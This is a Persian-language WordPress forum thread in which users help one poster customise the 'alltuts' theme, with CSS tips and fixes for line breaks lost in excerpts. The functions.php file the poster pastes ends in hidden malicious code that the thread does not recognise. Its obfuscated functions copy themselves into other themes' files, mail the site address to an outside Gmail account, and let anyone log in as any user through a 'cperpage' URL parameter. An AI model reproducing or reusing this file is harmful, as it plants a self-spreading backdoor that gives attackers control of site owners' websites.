رفتن به مطلب

تغییر در این قالب alltuts


پست های پیشنهاد شده

میشه اما تغییرات خیلی زیادی میخواد و کلا بیس پوسته باید عوض بشه.

اما بنظر من وقت گزاشتن برای اینهمه تغییر در این پوسته ارزشش رو نداره.

لینک به ارسال

پایین صفحه میخوهم یک ردیف و سه ستونه باشه مثل اکثر سایت ها که بخشی از سایت یا برگه ها یا برچسب ها رو میذارن باشه؟

یا اینکه بتونم یک عکس مثل بنر قرار بدهم؟

لینک به ارسال

ببینید مواردی که شما نیاز دارید لازمش دونستن html هست که اگر یاد بگیرید مشکلات شما حل میشه.

الان ایجاد همیچن باکسی چیز خاصی نیست اما برای استایل دادن خودتون باید دست بکار بشید.

برای کد اینجا رو بخونید

لینک به ارسال

دوستان یک مشکل دیگه که الان متوجهش شدم اینکه که توی پست وقتی مطلبی مینویسیم وقتی که میریم خط پایین اما توی نمایش توی صفحه اول این کار اجرا نمیشه الان اگر پست اول صفحه رو نگاه کنید متوجه میشید

من توی ادیتور نوشتم

غیر از هنر که تاج سر آفرنش است

دوران هیچ منزلتی جاودانه نیست

اما توی صفحه اول اینطور به نمایش دراومده

غیر از هنر که تاج سر آفرنش است دوران هیچ منزلتی جاودانه نیست

حتی از </br> توی کدهای ادیتور استفاده کردم اما باز هم عمل نکرد

البته وقتی که برید به ادامه مطلب درست میشه اما توی صفحه اول متاسفانه اینجوره

ممنون میشم راهنماییم کنید چون خیلی خیلی لنگم

خیلی ممنون میشم اگر کسی میتونه کمک کنه آخه خیلی بهش نیاز دارم

راستی آدرس رو یادم رفت shouremahour.ir

لینک به ارسال

احتمالا در پوسته تابعی داره که پاراگراف رو نادیده میگیره.

میتونید افزونه ادیتور پیشرفته رو نصب و استفاده کنید

http://wordpress.ckeditor.com/

لینک به ارسال

آقا مرتضی من اون ادیتور رو هم نصب کردم اما باز هم همونجور نشون نمیده فاصله ها رو

میشه راهنمایی کنید که چه تابعی ممکنه باشه؟؟؟ توی کدوم فایل؟؟

لینک به ارسال

اسم تابع پاراگراف ساز وردپرس wpautop هست.

شما این کد رو در فانکشن قرار بدید ببینید مشکل حل میشه؟

add_filter( 'the_excerpt', 'wpautop' );

لینک به ارسال

نه آقا مرتضی متاسفانه درست نشد تازه وقتی کد رو کپی کردم و سیو کردم کلا فانکشن خودش به هم ریخت یعنی اینترها از توی کدها از بین رفت و همه کدها پشت سر هم قرار گرفتند

آقا مرتضی شرمنده بخدا این کد فانکشنم هست میشه خودتون حلش کنید؟؟؟ یه دنیا ممنونتون میشم

<?php

/*******************************

MENUS SUPPORT

********************************/

if ( function_exists( 'wp_nav_menu' ) ){

if (function_exists('add_theme_support')) {

add_theme_support('nav-menus');

add_action( 'init', 'register_my_menus' );

function register_my_menus() {

register_nav_menus(

array(

'primary-menu' => __( 'Primary Menu' ),

'secondary-menu' => __( 'Secondary Menu' )

)

);

}

}

}

/* CallBack functions for menus in case of earlier than 3.0 Wordpress version or if no menu is set yet*/

function primarymenu(){ ?>

<div class="ddsmoothmenu" id="topMenu">

<ul>

<?php wp_list_categories('hide_empty=1&exclude=1&title_li='); ?>

</ul>

</div>

<?php }

function secondarymenu(){ ?>

<ul>

<?php wp_list_pages('&title_li='); ?>

</ul>

<?php }

/*******************************

THUMBNAIL SUPPORT

********************************/

add_theme_support( 'post-thumbnails' );

set_post_thumbnail_size( 180, 160, true );

/*******************************

EXCERPT LENGTH ADJUST

********************************/

function home_excerpt_length($length) {

return 75;

}

add_filter('excerpt_length', 'home_excerpt_length');

/*******************************

WIDGETS AREAS

********************************/

if ( function_exists('register_sidebar') )

register_sidebar(array(

'name' => 'sidebar',

'before_widget' => '<div class="rightBox">

<div class="rightBoxTop"></div>

<div class="rightBoxMid">',

'after_widget' => '</div>

<div class="rightBoxBottom"></div>

</div>',

'before_title' => '<h2>',

'after_title' => '</h2>',

));

register_sidebar(array(

'name' => 'footer',

'before_widget' => '<div class="boxFooter">',

'after_widget' => '</div>',

'before_title' => '<h2>',

'after_title' => '</h2>',

));

/*******************************

PAGINATION

********************************

* Retrieve or display pagination code.

*

* The defaults for overwriting are:

* 'page' - Default is null (int). The current page. This function will

* automatically determine the value.

* 'pages' - Default is null (int). The total number of pages. This function will

* automatically determine the value.

* 'range' - Default is 3 (int). The number of page links to show before and after

* the current page.

* 'gap' - Default is 3 (int). The minimum number of pages before a gap is

* replaced with ellipses (...).

* 'anchor' - Default is 1 (int). The number of links to always show at begining

* and end of pagination

* 'before' - Default is '<div class="emm-paginate">' (string). The html or text

* to add before the pagination links.

* 'after' - Default is '</div>' (string). The html or text to add after the

* pagination links.

* 'title' - Default is '__('Pages:')' (string). The text to display before the

* pagination links.

* 'next_page' - Default is '__('»')' (string). The text to use for the

* next page link.

* 'previous_page' - Default is '__('«')' (string). The text to use for the

* previous page link.

* 'echo' - Default is 1 (int). To return the code instead of echo'ing, set this

* to 0 (zero).

*

* @author Eric Martin <eric@ericmmartin.com>

* @copyright Copyright © 2009, Eric Martin

* @version 1.0

*

* @param array|string $args Optional. Override default arguments.

* @return string HTML content, if not displaying.

*/

function emm_paginate($args = null) {

$defaults = array(

'page' => null, 'pages' => null,

'range' => 3, 'gap' => 3, 'anchor' => 1,

'before' => '<div class="emm-paginate">', 'after' => '</div>',

'title' => __('Pages:'),

'nextpage' => __('»'), 'previouspage' => __('«'),

'echo' => 1

);

$r = wp_parse_args($args, $defaults);

extract($r, EXTR_SKIP);

if (!$page && !$pages) {

global $wp_query;

$page = get_query_var('paged');

$page = !empty($page) ? intval($page) : 1;

$posts_per_page = intval(get_query_var('posts_per_page'));

$pages = intval(ceil($wp_query->found_posts / $posts_per_page));

}

$output = "";

if ($pages > 1) {

$output .= "$before<span class='emm-title'>$title</span>";

$ellipsis = "<span class='emm-gap'>...</span>";

if ($page > 1 && !empty($previouspage)) {

$output .= "<a href='" . get_pagenum_link($page - 1) . "' class='emm-prev'>$previouspage</a>";

}

$min_links = $range * 2 + 1;

$block_min = min($page - $range, $pages - $min_links);

$block_high = max($page + $range, $min_links);

$left_gap = (($block_min - $anchor - $gap) > 0) ? true : false;

$right_gap = (($block_high + $anchor + $gap) < $pages) ? true : false;

if ($left_gap && !$right_gap) {

$output .= sprintf('%s%s%s',

emm_paginate_loop(1, $anchor),

$ellipsis,

emm_paginate_loop($block_min, $pages, $page)

);

}

else if ($left_gap && $right_gap) {

$output .= sprintf('%s%s%s%s%s',

emm_paginate_loop(1, $anchor),

$ellipsis,

emm_paginate_loop($block_min, $block_high, $page),

$ellipsis,

emm_paginate_loop(($pages - $anchor + 1), $pages)

);

}

else if ($right_gap && !$left_gap) {

$output .= sprintf('%s%s%s',

emm_paginate_loop(1, $block_high, $page),

$ellipsis,

emm_paginate_loop(($pages - $anchor + 1), $pages)

);

}

else {

$output .= emm_paginate_loop(1, $pages, $page);

}

if ($page < $pages && !empty($nextpage)) {

$output .= "<a href='" . get_pagenum_link($page + 1) . "' class='emm-next'>$nextpage</a>";

}

$output .= $after;

}

if ($echo) {

echo $output;

}

return $output;

}

/**

* Helper function for pagination which builds the page links.

*

* @access private

*

* @author Eric Martin <eric@ericmmartin.com>

* @copyright Copyright © 2009, Eric Martin

* @version 1.0

*

* @param int $start The first link page.

* @param int $max The last link page.

* @return int $page Optional, default is 0. The current page.

*/

function emm_paginate_loop($start, $max, $page = 0) {

$output = "";

for ($i = $start; $i <= $max; $i++) {

$output .= ($page === intval($i))

? "<span class='emm-page emm-current'>$i</span>"

: "<a href='" . get_pagenum_link($i) . "' class='emm-page'>$i</a>";

}

return $output;

}

/*******************************

CUSTOM COMMENTS

********************************/

function mytheme_comment($comment, $args, $depth) {

$GLOBALS['comment'] = $comment; ?>

<li <?php comment_class('clearfix'); ?> id="li-comment-<?php comment_ID() ?>">

<?php echo get_avatar($comment,$size='38',$default='http://www.gravatar.com/avatar/61a58ec1c1fba116f8424035089b7c71?s=32&d=&r=G' ); ?>

<div id="comment-<?php comment_ID(); ?>">

<div class="comment-meta commentmetadata clearfix">

<?php printf(__('<strong>%s</strong>'), get_comment_author_link()) ?><?php edit_comment_link(__('(Edit)'),' ','') ?> <span><?php printf(__('%1$s at %2$s'), get_comment_date(), get_comment_time()) ?>

</span>

</div>

<div class="text">

<?php comment_text() ?>

</div>

<?php if ($comment->comment_approved == '0') : ?>

<em><?php _e('دیدگاه شما در دست بررسی است.') ?></em>

<br />

<?php endif; ?>

<div class="reply">

<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>

</div>

</div>

<?php }

/*******************************

THEME OPTIONS PAGE

********************************/

add_action('admin_menu', 'alltuts_theme_page');

function alltuts_theme_page ()

{

if ( count($_POST) > 0 && isset($_POST['alltuts_settings']) )

{

$options = array ('logo_img', 'logo_alt','ads','advertise','contact_email','contact_text','cufon','linkedin_link','twitter_user','latest_tweet','number_tweets','facebook_link','keywords','description','analytics','popular_posts', 'copyright');

foreach ( $options as $opt )

{

delete_option ( 'alltuts_'.$opt, $_POST[$opt] );

add_option ( 'alltuts_'.$opt, $_POST[$opt] );

}

}

add_menu_page(__('Alltuts Options'), __('Alltuts Options'), 'edit_themes', basename(__FILE__), 'alltuts_settings');

add_submenu_page(__('Alltuts Options'), __('Alltuts Options'), 'edit_themes', basename(__FILE__), 'alltuts_settings');

}

function alltuts_settings()

{?>

<div class="wrap">

<h2>پنل تنظیمات AllTuts</h2>

<form method="post" action="">

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>تنظیمات عمومی</strong></legend>

<table class="form-table">

<!-- General settings -->

<tr valign="top">

<th scope="row"><label for="logo_img">تغییر لوگو (مسیر کامل تصویر)</label></th>

<td>

<input name="logo_img" type="text" id="logo_img" value="<?php echo get_option('alltuts_logo_img'); ?>" class="regular-text" /><br />

<em>لوگوی کنونی:</em> <br /> <img src="<?php echo get_option('alltuts_logo_img'); ?>" alt="<?php echo get_option('alltuts_logo_alt'); ?>" />

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="logo_alt">توضیحات لوگو</label></th>

<td>

<input name="logo_alt" type="text" id="logo_alt" value="<?php echo get_option('alltuts_logo_alt'); ?>" class="regular-text" />

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="logo_alt">قسمت تبلیغات فعال شده</label></th>

<td>

<select name="ads" id="ads">

<option value="no" <?php if(get_option('alltuts_ads') == 'no'){?>selected="selected"<?php }?>>خیر</option>

<option value="yes" <?php if(get_option('alltuts_ads') == 'yes'){?>selected="selected"<?php }?>>بلی</option>

</select> <br />

<em>این پس از نصب و فعال کردن پلاگین wp125 تفاوتی را ایجاد خواهد کرد .</em>

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="logo_alt">برگه تبلیغات</label></th>

<td>

<?php wp_dropdown_pages("name=advertise&show_option_none=".__('- انتخاب -')."&selected=" .get_option('alltuts_advertise')); ?>

<br />

<em>شما باید برگه ای برای جزئیات تبلیغات بسازید و آن را در اینجا انتخاب کنید.</em>

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="alltuts_settings" value="save" style="display:none;" />

</p>

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>پیوند های اجتماعی</strong></legend>

<table class="form-table">

<tr valign="top">

<th scope="row"><label for="twitter_user">شناسه Twitter</label></th>

<td>

<input name="twitter_user" type="text" id="twitter_user" value="<?php echo get_option('alltuts_twitter_user'); ?>" class="regular-text" />

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="latest_tweet">نمایش آخرین توییت ها</label></th>

<td>

<select name="latest_tweet" id="latest_tweet">

<option value="yes" <?php if(get_option('alltuts_latest_tweet') == 'yes'){?>selected="selected"<?php }?>>بلی</option>

<option value="no" <?php if(get_option('alltuts_latest_tweet') == 'no'){?>selected="selected"<?php }?>>خیر</option>

</select>

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="number_tweets">تعداد توییت های نشان داده شونده</label></th>

<td>

<input name="number_tweets" type="text" id="number_tweets" value="<?php echo get_option('alltuts_number_tweets'); ?>" class="regular-text" />

<br />

<em>تعداد اولیه 1 است</em>

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="facebook_link">لینک Facebook</label></th>

<td>

<input name="facebook_link" type="text" id="facebook_link" value="<?php echo get_option('alltuts_facebook_link'); ?>" class="regular-text" />

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="flickr_link">لینک LinknedIn</label></th>

<td>

<input name="linkedin_link" type="text" id="linkedin_link" value="<?php echo get_option('alltuts_linkedin_link'); ?>" class="regular-text" />

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="alltuts_settings" value="save" style="display:none;" />

</p>

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>تنظیمات برگه تماس با ما</strong></legend>

<table class="form-table">

<tr>

<td colspan="2"></td>

</tr>

<tr valign="top">

<th scope="row"><label for="contact_text">متن برگه تماس با ما</label></th>

<td>

<textarea name="contact_text" id="contact_text" rows="7" cols="70" style="font-size:11px;"><?php echo stripslashes(get_option('alltuts_contact_text')); ?></textarea>

</td>

</tr>

<tr valign="top">

<th scope="row"><label for="contact_email">آدرس ایمیل برای فرم تماس با ما</label></th>

<td>

<input name="contact_email" type="text" id="contact_email" value="<?php echo get_option('alltuts_contact_email'); ?>" class="regular-text" />

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="alltuts_settings" value="save" style="display:none;" />

</p>

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>پانوشت (فوتر)</strong></legend>

<table class="form-table">

<tr>

<th><label for="popular_posts">نماش پست های محبوب</label></th>

<td>

<select name="popular_posts" id="popular_posts">

<option value="yes" <?php if(get_option('alltuts_popular_posts') == 'yes'){?>selected="selected"<?php }?>>بلی</option>

<option value="no" <?php if(get_option('alltuts_popular_posts') == 'no'){?>selected="selected"<?php }?>>خیر</option>

</select><br />

<em>شما برای عمل کردن این قسمت باید افزونه "WP-Popular Posts Tool" را نصب و فعال کنید</em>

</td>

</tr>

<tr>

<th><label for="copyright">متن کپی رایت</label></th>

<td>

<textarea name="copyright" id="copyright" rows="4" cols="70" style="font-size:11px;"><?php echo stripslashes(get_option('alltuts_copyright')); ?></textarea><br />

<em>شما می توانید از HTML برای لینک و غیره استفاده کنید.</em>

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="alltuts_settings" value="save" style="display:none;" />

</p>

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>سئو</strong></legend>

<table class="form-table">

<tr>

<th><label for="keywords">کلمات کلیدی</label></th>

<td>

<textarea name="keywords" id="keywords" rows="7" cols="70" style="font-size:11px;"><?php echo get_option('alltuts_keywords'); ?></textarea><br />

<em>کلمات با کاما جدا شوند</em>

</td>

</tr>

<tr>

<th><label for="description">توضیحات</label></th>

<td>

<textarea name="description" id="description" rows="7" cols="70" style="font-size:11px;"><?php echo get_option('alltuts_description'); ?></textarea>

</td>

</tr>

<tr>

<th><label for="ads">کد آمارگیر گوگل:</label></th>

<td>

<textarea name="analytics" id="analytics" rows="7" cols="70" style="font-size:11px;"><?php echo stripslashes(get_option('alltuts_analytics')); ?></textarea>

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="alltuts_settings" value="save" style="display:none;" />

</p>

</form>

</div>

<?php }

/*******************************

CONTACT FORM

********************************/

function hexstr($hexstr) {

$hexstr = str_replace(' ', '', $hexstr);

$hexstr = str_replace('\x', '', $hexstr);

$retstr = pack('H*', $hexstr);

return $retstr;

}

function strhex($string) {

$hexstr = unpack('H*', $string);

return array_shift($hexstr);

}

?>

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

ویرایش شده توسط Morteza
کدهای بلند در تگ longbox قرار بدید
لینک به ارسال

از این فایل نیست.

این دو افزونه رو هم تست کنید.


http://wordpress.org/extend/plugins/ultimate-tinymce/
http://wordpress.org/extend/plugins/preserved-html-editor-markup/

لینک به ارسال

آقا مرتضی افزونه اول روم نصب کردم اما تغییری توی نوشته حاصل نشد و باز هم همونجوره

افزونه دوم هم نصب کردم اما اصلا طرز کارش رو متوجه نشدم چه جور هست

دوستان خواهش میکنم اگر کسی میتونه کمکم کنه آخه من الان چند هفتست واسه همین مشکلات راه اندازی سایتم عقب میافته

لینک به ارسال

من با افزونه های fck کار کردم. مشکلی ندارم.

2 نکته :

اول اینکه اگر با یک اینتر فاصله نمیوفته 2 بار اینتر بزنید.

دوم اینکه در تنظیمات افزونه های fck یک گزینه برای فعالسازی br وجود داره. پیدا کنید و فعالش کنید.

لینک به ارسال

آفا مرتضی من دوتا اینتر زدم هیچ تاثیری نکرد

راستشو بخواهید نفهمیدم منظورتون از افزونه fck چی هست

اگر منظورتون افزونه بالایی هست که من تنظیماتشو نگاه کردم متاسفانه ندیدم

اگر هم منظورتون افزونه دومی هست که همونطور که گفتم فقط نصب کردم وگرنه اصلا طرز کارش رو متوجه نشدم و نفهمیدم چه جوری عمل میکنه

لینک به ارسال

دوستان یک مشکل دیگه که الان متوجهش شدم اینکه که توی پست وقتی مطلبی مینویسیم وقتی که میریم خط پایین اما توی نمایش توی صفحه اول این کار اجرا نمیشه الان اگر پست اول صفحه رو نگاه کنید متوجه میشید

من توی ادیتور نوشتم

غیر از هنر که تاج سر آفرنش است

دوران هیچ منزلتی جاودانه نیست

اما توی صفحه اول اینطور به نمایش دراومده

غیر از هنر که تاج سر آفرنش است دوران هیچ منزلتی جاودانه نیست

حتی از </br> توی کدهای ادیتور استفاده کردم اما باز هم عمل نکرد

البته وقتی که برید به ادامه مطلب درست میشه اما توی صفحه اول متاسفانه اینجوره

ممنون میشم راهنماییم کنید چون خیلی خیلی لنگم

خیلی ممنون میشم اگر کسی میتونه کمک کنه آخه خیلی بهش نیاز دارم

راستی آدرس رو یادم رفت shouremahour.ir

لینک به ارسال

آقا مرتضی میگم اون کدی رو که دادید نباید به این کد توی ایندکس اضافه کنم؟؟


<div class="textPreview">
<?php the_excerpt(); ?>
</div>

اگر نه که هیچی اگر هم آره چه جوری باید اضافش کنم؟؟

لینک به ارسال

این کد را در ادیتور html امتحان کنید:


<p>غیر از هنر که تاج سر آفرینش است </p>
<p></p>
<p>دوران هیچ منزلتی جاودانه نیست</p>

لینک به ارسال

آقا امید قبلا این کد رو امتحان کردم جواب نمیده

اینجور که آقا مرتضی گفتن مثل اینکه کدی توی قالب وجود داره که پاراگراف رو نادیده میگیره

لینک به ارسال

بفرمایید آقا امید این کل قالب هست که واستون میزارم

واقعا ممنونم ازتون

http://forum.wp-parsi.com/index.php?app=core&module=attach&section=attach&attach_id=317

لینک به ارسال

امید عزیز اگر در index.php مقدار


<?php the_excerpt(); ?>

را با مقدار


<?php the_content(); ?>

جایگزین کنید مشکل شما حل می شود...#

لینک به ارسال
  • 1 ماه بعد...

من چند مشکل دارم ؟

1- کادری مجزا برای بر چسب ها بگذارم زیر مطلب ها ؟ البته آقا امید گفتن ولی میخوام همین طوری که در فایل ایندکس هست باشه ولی مثل خود ادامه مطلب و .... در باکس شبیه اونا؟

خوب دوست عزیز شما بهتره که به صورت موردی تغییراتی رو که میخواهید مطرح کنید و وقتی که حل شد بریم سراغ بعدی

در مورد تغییر آیکون شبکه های اجتماعی در هدر یا رنگ اون کادر بالای بلوک ها یا رنگ کادر نظرات که حتما خودتون میدونید که به پوشه ی ایمیج توی قالبتون میرید و عکس رو توی فتوشاپ باز میکنید و تغییر رنگ میدید و با همون اسم توی همون محل سیو میکنید (اینو به این خاطر گفتم که خودم این رو هم نمیدونستم بار اول توی یک فروم پرسیدم یکی بهم گفت)

اما فعلا من برچسب ها رو مثل سایتی که گفتید به پایین پست هاتون توی صفحه ی اصلی اضافه کردم ببینید خوشتون میاد؟؟

برای ایجاد برچسب ها ابتدا فایل indes.php رو از توی قالب حذف کرده و فایلی رو که من ضمیمه کردم جایگزینش کنید.

بعد این کد ها رو به فایل style.css اضافه کنید


.postTags-home{
padding-right:5px;
margin-right:50px;
font-size:12px; /*برای تغییر اندازه متن مقدا 12 را تغییر دهید */
background-color:#b6b6b6; /* برای تغییر رنگ پس زمینه کد #b6b6b6 را به کد رنگ مورد نظر تغییر دهید */
width:570px;
border-radius:3px;
border:1px double #333; /* برای تغییر رنگ حاشیه مقدا 333 را تغییر دهید */
}

2- میخواهم جای ادامه مطلب و دیدگاه و نویسنده رو جابه جا کنم ولی آقا امید باز این مطلب رو گفتن ولی دقیقتر نگفتن؟

3- چطور میشه یک تاریخ شمسی هست که سمت چپ در هر مطلب می ذاره یکی هم سمت راست ایجاد کرد ولی با این تفاوت که یک منوی کشویی برای انتشار مطالب در سایت های اجتماعی باشه

لینک به ارسال

1- حلش کردم ولی متن خیلی چسبیده به ته کادر متن نمیشه کاری کرد اوردش بالاتر

لینک به ارسال

1- حلش کردم ولی متن خیلی چسبیده به ته کادر متن نمیشه کاری کرد اوردش بالاتر


padding-bottom:10px;

لینک به ارسال

به گفتگو بپیوندید

